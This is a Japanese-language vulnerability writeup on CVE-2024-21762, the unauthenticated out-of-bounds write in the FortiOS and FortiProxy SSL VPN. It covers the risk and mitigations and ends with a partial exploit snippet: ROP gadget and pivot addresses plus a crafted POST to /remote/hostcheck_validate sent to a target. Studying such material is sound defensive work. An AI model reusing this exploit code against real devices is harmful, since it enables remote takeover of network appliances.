cve-2024-21762-poc

CVE-2024-21762 は、Fortinet 社の FortiOS および FortiProxy 製品における深刻な脆弱性であり、その SSL VPN コンポーネントに存在します。この脆弱性により、認証されていないリモート攻撃者が特別に細工された HTTP リクエストを通じて、標的システム上で任意のコードまたはコマンドを実行でき、システムが完全に制御される可能性があります。

危険性： この脆弱性の存在により、攻撃者はいかなる認証も必要とせずに、リモートから任意のコードを実行し、影響を受けるデバイスを完全に制御できます。これにより、機密データの漏洩、サービス中断、さらにはさらなるネットワーク攻撃につながる可能性があります。

攻撃方法： 攻撃者がこの脆弱性を悪用する主な手段は、特別に細工された HTTP リクエストを送信し、SSL VPN コンポーネントの領域外書き込み（アウトオブバウンズライト）脆弱性をトリガーすることです。具体的には、攻撃者は巧妙に構築されたリクエストを通じてメモリ内のデータを操作し、最終的にリモートコード実行を実現します。

防御策： この脆弱性による攻撃を防ぐため、FortiOS および FortiProxy を公式が提供する最新のセキュリティバージョンに直ちにアップグレードすることを推奨します。また、SSL VPN 機能を無効化することも一時的な防御策となります。

CVE-2024-21762 脆弱性の詳細：Fortinet FortiOS における領域外書き込み（アウトオブバウンズライト）脆弱性

脆弱性の背景

CVE-2024-21762 は、Fortinet FortiOS SSL VPN における高リスクの脆弱性であり、認証されていない領域外書き込み（アウトオブバウンズライト）脆弱性に分類されます。この脆弱性はリモートコード実行（RCE）に悪用される可能性があり、企業のネットワークセキュリティに脅威をもたらします。

FortiGate は 2024 年 2 月にアップデートを公開し、複数の中高リスクの脆弱性を修正しました。その中で、本稿では CVE-2024-21762 の悪用プロセスに焦点を当て、この脆弱性を利用してリモートコード実行を実現する方法を分析します。

脆弱性悪用のサンプルコード（PoC）

以下の PoC コードは assetnote によって提供されており、この脆弱性を悪用する基本的な手順を示しています。

# 簡略化された脆弱性悪用コードスニペット
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"  # SSLハンドシェイクポインタ
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"  # getcwd関数ポインタ

pivot_1 = b"%52%f7%fd%00%00%00%00%00"  # pivot命令セット1
pivot_2 = b"%ac%c9%ab%02%00%00%00%00"  # pivot命令セット2

rop = b""  # ROPチェーン
rop += b"%c6%e2%46%00%00%00%00%00"
rop += b"%19%6f%4d%01%00%00%00%00"
# ... 残りのROPチェーン内容は省略

# 偽造リクエストデータ
body = (b"B"*1808 + b"=" + b"B"*1024 + b"&") * 20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n" + body

# 偽造リクエストの送信
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)